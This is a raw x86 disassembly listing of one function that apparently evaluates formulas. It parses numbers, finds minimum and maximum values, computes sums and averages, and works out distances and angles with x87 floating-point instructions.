xor eax, eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x14c]
call fcn.00405298
test eax, eax
jle 0x54b8ac
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
jmp 0x54b839
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xd80]
push eax
mov ecx, 0x553b50
mov edx, 0x553b70
mov eax, dword [ebp - 0x148]
call fcn.00410c50
mov eax, dword [ebp - 0xd80]
lea edx, [ebp - 0x1b0]
call fcn.0040d260
test al, al
jne 0x54b7e5
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0x80000000
mov word [ebp - 0x198], 0xbfff
mov dword [ebp - 0x14], 1
mov byte [ebp - 0x119], 1
jmp 0x54b84c
fld xword [ebp - 0x1b0]
fld xword [ebp - 0x1a0]
fcompp
fnstsw ax
sahf
jbe 0x54b81e
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x19c], eax
mov ax, word [ebp - 0x1a8]
mov word [ebp - 0x198], ax
inc dword [ebp - 0x28]
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0x148]
call fcn.00405298
test eax, eax
jg 0x54b783
cmp dword [ebp - 0x4c], 0
jne 0x54b870
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
lea eax, [ebp - 0x4c]
call fcn.0040d188
jmp 0x54b8b9
push dword [ebp - 0x4c]
push 0x5539c8
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
lea eax, [ebp - 0xd84]
call fcn.0040d188
push dword [ebp - 0xd84]
lea eax, [ebp - 0x4c]
mov edx, 3
call fcn.00405358
jmp 0x54b8b9
lea eax, [ebp - 0x4c]
mov edx, 0x5539c8
call fcn.004052a0
inc dword [ebp - 0x68]
dec dword [ebp - 0x2a4]
jne 0x54b65b
jmp 0x54b8e1
inc dword [ebp - 0x60]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax + 0x48]
call fcn.004063e0
cmp eax, dword [ebp - 0x60]
jg 0x54b5f3
mov eax, dword [ebp - 0x4c]
call fcn.00405298
test eax, eax
jne 0x54b98c
mov byte [ebp - 0x119], 1
jmp 0x54b98c
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0x80000000
mov word [ebp - 0x198], 0xbfff
mov dword [ebp - 0x14], 1
jmp 0x54b98c
fld xword [ebp - 0x1b0]
fld xword [ebp - 0x1a0]
fcompp
fnstsw ax
sahf
jbe 0x54b95a
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x19c], eax
mov ax, word [ebp - 0x1a8]
mov word [ebp - 0x198], ax
inc dword [ebp - 0x14]
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov byte [ebp - 0x119], 0
mov eax, dword [ebp - 0x148]
call fcn.00405298
test eax, eax
jg 0x54b48e
cmp byte [ebp - 0x140], 0
je 0x54b9da
cmp byte [ebp - 0x119], 0
je 0x54b9b9
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0x80000000
mov word [ebp - 0x198], 0xbfff
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x4c]
call fcn.00405070
jmp case.0x54ab86.136
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xd88]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov ecx, dword [ebp - 0xd88]
lea eax, [ebp - 0x1c]
mov edx, 0x553b5c
call fcn.004052e4
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0x80000000
mov word [ebp - 0x198], 0xc03e
mov dword [ebp - 0x14], 1
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov byte [ebp - 0x119], 1
mov byte [ebp - 0x140], 1
jmp 0x54bf4f
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xd8c]
push eax
mov ecx, 0x553b50
mov edx, 0x553b70
mov eax, dword [ebp - 0x148]
call fcn.00410c50
mov eax, dword [ebp - 0xd8c]
lea edx, [ebp - 0x1b0]
call fcn.0040d260
test al, al
jne 0x54bef7
mov byte [ebp - 0x119], 1
mov eax, dword [ebp - 0x148]
cmp byte [eax], 0x25
jne 0x54bed3
cmp dword [ebp - 0x14], 1
jne 0x54bed3
mov byte [ebp - 0x140], 0
mov dword [ebp - 0x28], 1
mov edx, dword [ebp - 0x148]
mov eax, 0x55398c
call fcn.004055dc
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jle 0x54bb76
lea eax, [ebp - 0x14c]
mov edx, dword [ebp - 0x148]
call fcn.00405070
lea eax, [ebp - 0x14c]
mov ecx, dword [ebp - 0x64]
mov edx, 1
call fcn.00405538
lea eax, [ebp - 0xd94]
push eax
mov ecx, dword [ebp - 0x64]
sub ecx, 2
mov edx, 2
mov eax, dword [ebp - 0x148]
call fcn.004054f8
mov eax, dword [ebp - 0xd94]
lea edx, [ebp - 0xd90]
call fcn.0040b05c
mov edx, dword [ebp - 0xd90]
lea eax, [ebp - 0x148]
call fcn.00405070
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x18]
call fcn.0055409c
mov dword [ebp - 0x64], eax
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0x64]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x43d8]
mov dword [ebp - 0x64], eax
jmp 0x54bbb9
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43d8]
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x148]
mov ecx, 1
mov edx, 1
call fcn.00405538
lea edx, [ebp - 0xd98]
mov eax, dword [ebp - 0x148]
call fcn.0040b05c
mov edx, dword [ebp - 0xd98]
lea eax, [ebp - 0x148]
call fcn.00405070
lea eax, [ebp - 0x4c]
call fcn.00404fd8
xor eax, eax
mov dword [ebp - 0x60], eax
jmp 0x54bea3
lea eax, [ebp - 0xd9c]
mov edx, dword [ebp - 0x60]
mov ecx, edx
shl edx, 6
add edx, ecx
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx + 0x48]
lea edx, [ecx + edx*4]
call fcn.0040523c
mov eax, dword [ebp - 0xd9c]
mov edx, dword [ebp - 0x148]
call fcn.004053e4
jne 0x54bea0
mov eax, dword [ebp - 0x60]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x64]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
mov eax, dword [eax]
call fcn.004063e0
test eax, eax
jle 0x54beb7
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x68], 1
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0x80000000
mov word [ebp - 0x198], 0xc03e
mov dword [ebp - 0x14], 1
lea eax, [ebp - 0x14c]
call fcn.00404fd8
mov eax, dword [ebp - 0x60]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x64]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
call fcn.004063e0
test eax, eax
jle 0x54bd24
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x2c], 1
cmp dword [ebp - 0x14c], 0
je 0x54bcaa
lea eax, [ebp - 0x14c]
mov edx, 0x553b7c
call fcn.004052a0
mov eax, dword [ebp - 0x60]
mov edx, eax
shl eax, 6
add eax, edx
mov edx, dword [ebp - 0x64]
mov edx, dword [edx + 0x48]
mov eax, dword [edx + eax*4 + 0x100]
mov edx, dword [ebp - 0x2c]
mov eax, dword [eax + edx*4 - 4]
mov edx, dword [ebp - 0x68]
mov eax, dword [eax + edx*4 - 4]
lea edx, [ebp - 0x1b0]
call fcn.0040d260
test al, al
je 0x54bd0e
mov ax, word [ebp - 0x1a8]
push eax
push dword [ebp - 0x1ac]
push dword [ebp - 0x1b0]
lea eax, [ebp - 0xda0]
call fcn.0040d188
mov edx, dword [ebp - 0xda0]
lea eax, [ebp - 0x14c]
call fcn.004052a0
mov byte [ebp - 0x119], 0
inc dword [ebp - 0x2c]
dec dword [ebp - 0x2b4]
jne 0x54bc91
xor eax, eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x14c]
call fcn.00405298
test eax, eax
jle 0x54be82
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
jmp 0x54be0f
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xda4]
push eax
mov ecx, 0x553b50
mov edx, 0x553b70
mov eax, dword [ebp - 0x148]
call fcn.00410c50
mov eax, dword [ebp - 0xda4]
lea edx, [ebp - 0x1b0]
call fcn.0040d260
test al, al
jne 0x54bdbb
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0x80000000
mov word [ebp - 0x198], 0xbfff
mov dword [ebp - 0x14], 1
mov byte [ebp - 0x119], 1
jmp 0x54be22
fld xword [ebp - 0x1a0]
fld xword [ebp - 0x1b0]
fcompp
fnstsw ax
sahf
jbe 0x54bdf4
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x19c], eax
mov ax, word [ebp - 0x1a8]
mov word [ebp - 0x198], ax
inc dword [ebp - 0x28]
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0x148]
call fcn.00405298
test eax, eax
jg 0x54bd59
cmp dword [ebp - 0x4c], 0
jne 0x54be46
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
lea eax, [ebp - 0x4c]
call fcn.0040d188
jmp 0x54be8f
push dword [ebp - 0x4c]
push 0x5539c8
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
lea eax, [ebp - 0xda8]
call fcn.0040d188
push dword [ebp - 0xda8]
lea eax, [ebp - 0x4c]
mov edx, 3
call fcn.00405358
jmp 0x54be8f
lea eax, [ebp - 0x4c]
mov edx, 0x5539c8
call fcn.004052a0
inc dword [ebp - 0x68]
dec dword [ebp - 0x2a4]
jne 0x54bc33
jmp 0x54beb7
inc dword [ebp - 0x60]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax + 0x48]
call fcn.004063e0
cmp eax, dword [ebp - 0x60]
jg 0x54bbcb
mov eax, dword [ebp - 0x4c]
call fcn.00405298
test eax, eax
jne 0x54bf62
mov byte [ebp - 0x119], 1
jmp 0x54bf62
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0x80000000
mov word [ebp - 0x198], 0xbfff
mov dword [ebp - 0x14], 1
jmp 0x54bf62
fld xword [ebp - 0x1a0]
fld xword [ebp - 0x1b0]
fcompp
fnstsw ax
sahf
jbe 0x54bf30
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x19c], eax
mov ax, word [ebp - 0x1a8]
mov word [ebp - 0x198], ax
inc dword [ebp - 0x14]
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov byte [ebp - 0x119], 0
mov eax, dword [ebp - 0x148]
call fcn.00405298
test eax, eax
jg 0x54ba66
cmp byte [ebp - 0x140], 0
je 0x54bfb0
cmp byte [ebp - 0x119], 0
je 0x54bf8f
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0x80000000
mov word [ebp - 0x198], 0xbfff
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x4c]
call fcn.00405070
jmp case.0x54ab86.136
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xdac]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov ecx, dword [ebp - 0xdac]
lea eax, [ebp - 0x1c]
mov edx, 0x553b5c
call fcn.004052e4
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], eax
mov word [ebp - 0x198], ax
mov dword [ebp - 0x14], 1
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
jmp 0x54c0b0
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xdb0]
push eax
mov ecx, 0x553b50
mov edx, 0x553b70
mov eax, dword [ebp - 0x148]
call fcn.00410c50
mov eax, dword [ebp - 0xdb0]
lea edx, [ebp - 0x1b0]
call fcn.0040d260
test al, al
jne 0x54c083
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0x80000000
mov word [ebp - 0x198], 0xbfff
mov dword [ebp - 0x14], 1
jmp 0x54c0c3
fld xword [ebp - 0x1a0]
fld xword [ebp - 0x1b0]
faddp st(1)
fstp xword [ebp - 0x1a0]
wait
inc dword [ebp - 0x14]
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0x148]
call fcn.00405298
test eax, eax
jg 0x54c028
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0xdb4], eax
fild dword [ebp - 0xdb4]
fld xword [ebp - 0x1a0]
fdivrp st(1)
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xdb8]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov ecx, dword [ebp - 0xdb8]
lea eax, [ebp - 0x1c]
mov edx, 0x553b5c
call fcn.004052e4
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xdbc]
push eax
mov ecx, 3
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xdbc]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0xdc0]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xdc0]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xdc4]
push eax
mov ecx, 4
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xdc4]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0xdc8]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xdc8]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
lea edx, [ebp - 0x1b0]
mov eax, dword [ebp - 0x148]
call fcn.0040d260
test al, al
je 0x54c2da
lea edx, [ebp - 0x1c0]
mov eax, dword [ebp - 0x144]
call fcn.0040d260
test al, al
je 0x54c2da
lea edx, [ebp - 0x1d0]
mov eax, dword [ebp - 0x14c]
call fcn.0040d260
test al, al
je 0x54c2da
lea edx, [ebp - 0x1e0]
mov eax, dword [ebp - 0x150]
call fcn.0040d260
test al, al
je 0x54c2da
fld xword [ebp - 0x1b0]
fld xword [ebp - 0x1d0]
fsubp st(1)
fstp xword [ebp - 0x1b0]
wait
fld xword [ebp - 0x1c0]
fld xword [ebp - 0x1e0]
fsubp st(1)
fstp xword [ebp - 0x1c0]
wait
fld xword [ebp - 0x1b0]
fmul st(0)
fstp xword [ebp - 0xc50]
wait
fld xword [ebp - 0x1c0]
fmul st(0)
fld xword [ebp - 0xc50]
faddp st(1)
fabs
fsqrt
fstp xword [ebp - 0x1a0]
wait
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xdcc]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov ecx, dword [ebp - 0xdcc]
lea eax, [ebp - 0x1c]
mov edx, 0x553b5c
call fcn.004052e4
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xdd0]
push eax
mov ecx, 3
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xdd0]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0xdd4]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xdd4]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xdd8]
push eax
mov ecx, 4
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xdd8]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0xddc]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xddc]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
lea edx, [ebp - 0x1b0]
mov eax, dword [ebp - 0x148]
call fcn.0040d260
test al, al
je 0x54c631
lea edx, [ebp - 0x1c0]
mov eax, dword [ebp - 0x144]
call fcn.0040d260
test al, al
je 0x54c631
lea edx, [ebp - 0x1d0]
mov eax, dword [ebp - 0x14c]
call fcn.0040d260
test al, al
je 0x54c631
lea edx, [ebp - 0x1e0]
mov eax, dword [ebp - 0x150]
call fcn.0040d260
test al, al
je 0x54c631
fld xword [ebp - 0x1b0]
fld xword [ebp - 0x1d0]
fsubp st(1)
fstp xword [ebp - 0x1b0]
wait
fld xword [ebp - 0x1c0]
fld xword [ebp - 0x1e0]
fsubp st(1)
fstp xword [ebp - 0x1c0]
wait
fld xword [ebp - 0x1b0]
fcomp dword [0x553b80]
fnstsw ax
sahf
jne 0x54c51d
fld xword [ebp - 0x1c0]
fcomp dword [0x553b80]
fnstsw ax
sahf
jne 0x54c4cc
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], eax
mov word [ebp - 0x198], ax
jmp 0x54c610
fld xword [ebp - 0x1c0]
fcomp dword [0x553b80]
fnstsw ax
sahf
jbe 0x54c4fd
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0xb4000000
mov word [ebp - 0x198], 0x4005
jmp 0x54c610
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0x87000000
mov word [ebp - 0x198], 0x4007
jmp 0x54c610
fld xword [ebp - 0x1c0]
fcomp dword [0x553b80]
fnstsw ax
sahf
jne 0x54c579
fld xword [ebp - 0x1b0]
fcomp dword [0x553b80]
fnstsw ax
sahf
jbe 0x54c559
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], eax
mov word [ebp - 0x198], ax
jmp 0x54c610
xor eax, eax
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], 0xb4000000
mov word [ebp - 0x198], 0x4006
jmp 0x54c610
fld xword [ebp - 0x1c0]
fld xword [ebp - 0x1b0]
fdivp st(1)
fld1
fpatan
add esp, 0xfffffff4
fstp xword [esp]
wait
call fcn.004314e0
fabs
fstp xword [ebp - 0x1a0]
wait
fld xword [ebp - 0x1b0]
fcomp dword [0x553b80]
fnstsw ax
sahf
jae 0x54c5ec
fld xword [ebp - 0x1c0]
fcomp dword [0x553b80]
fnstsw ax
sahf
jae 0x54c5d7
fld xword [ebp - 0x1a0]
fadd dword [0x553b84]
fstp xword [ebp - 0x1a0]
wait
jmp 0x54c610
fld xword [ebp - 0x1a0]
fsubr dword [0x553b84]
fstp xword [ebp - 0x1a0]
wait
jmp 0x54c610
fld xword [ebp - 0x1c0]
fcomp dword [0x553b80]
fnstsw ax
sahf
jae 0x54c610
fld xword [ebp - 0x1a0]
fsubr dword [0x553b88]
fstp xword [ebp - 0x1a0]
wait
mov ax, word [ebp - 0x198]
push eax
push dword [ebp - 0x19c]
push dword [ebp - 0x1a0]
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553b5c
call fcn.004052e4
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xde0]
push eax
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xde4]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov edx, dword [ebp - 0xde4]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xde0]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xde8]
push eax
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xdec]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov edx, dword [ebp - 0xdec]
mov ecx, 2
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xde8]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
lea edx, [ebp - 0x1b0]
mov eax, dword [ebp - 0x148]
call fcn.0040d260
test al, al
je 0x54c76d
lea edx, [ebp - 0x1c0]
mov eax, dword [ebp - 0x144]
call fcn.0040d260
test al, al
je 0x54c76d
mov ax, word [ebp - 0x1b8]
push eax
push dword [ebp - 0x1bc]
push dword [ebp - 0x1c0]
call fcn.004314b4
call fcn.00403064
fld xword [ebp - 0x1b0]
fmulp st(1)
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x553b5c
call fcn.004052e4
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xdf0]
push eax
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xdf4]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov edx, dword [ebp - 0xdf4]
mov ecx, 1
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xdf0]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xdf8]
push eax
mov al, byte [0x553b64]
push eax
lea eax, [ebp - 0xdfc]
push eax
mov ecx, 0x553b70
mov edx, 0x553b50
mov eax, dword [ebp - 0x1c]
call fcn.00410c50
mov edx, dword [ebp - 0xdfc]
mov ecx, 2
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov eax, dword [ebp - 0xdf8]
mov ecx, 0x553b50
mov edx, 0x553b70
call fcn.00410c50
lea edx, [ebp - 0x1b0]
mov eax, dword [ebp - 0x148]
call fcn.0040d260
test al, al
je 0x54c8a9
lea edx, [ebp - 0x1c0]
mov eax, dword [ebp - 0x144]
call fcn.0040d260
test al, al
je 0x54c8a9
mov ax, word [ebp - 0x1b8]
push eax
push dword [ebp - 0x1bc]
push dword [ebp - 0x1c0]
call fcn.004314b4
call fcn.0040308c
fld xword [ebp - 0x1b0]
fmulp st(1)
add esp, 0xfffffff4
fstp xword [esp]
wait
lea eax, [ebp - 0x1c]
call fcn.0040d188
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553874
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0xe00]
mov edx, dword [0x59071c]
mov dl, byte [edx]
call fcn.004051c0
mov edx, dword [ebp - 0xe00]
mov eax, dword [ebp - 0x1c]
call fcn.004053e4
je 0x54c902
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
je 0x54c902
lea eax, [ebp - 0x1c]
mov edx, 0x553a0c
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x1a0]
mov eax, dword [ebp - 0x1c]
call fcn.0040d260
test al, al
jne 0x54c938
lea eax, [ebp - 0x1c]
mov edx, 0x553a0c
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
jmp case.0x54ab86.136
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
call fcn.0040b73c
test al, al
je 0x54c969
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
call fcn.004051c0
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
call fcn.00404fd8
jmp case.0x54ab86.136
mov eax, dword [ebp - 0x1c]
call fcn.00405298
test eax, eax
jle 0x54c9a6
lea edx, [ebp - 0xe04]
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
call fcn.0040b57c
mov edx, dword [ebp - 0xe04]
lea eax, [ebp - 0x1c]
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov edx, 0x553a00
call fcn.00405070
jmp case.0x54ab86.136
lea eax, [ebp - 0x1c]
mov ecx, dword [ebp - 0x154]
mov edx, 0x553b5c
call fcn.004052e4
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0xe0c]
push eax
mov ecx, 1
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov ecx, dword [ebp - 0xe0c]
lea eax, [ebp - 0xe08]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xe08]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xe14]
push eax
mov ecx, 2
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov ecx, dword [ebp - 0xe14]
lea eax, [ebp - 0xe10]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xe10]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0xe1c]
push eax
mov ecx, 3
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov ecx, dword [ebp - 0xe1c]
lea eax, [ebp - 0xe18]
mov edx, 0x553864
call fcn.004052e4
mov edx, dword [ebp - 0xe18]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0xe24]
push eax
mov ecx, 4
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
call fcn.0053d9e0
mov ecx, dword [ebp - 0xe24]
lea eax, [ebp - 0xe20]
mov edx, 0x553864
call fcn.004052e4
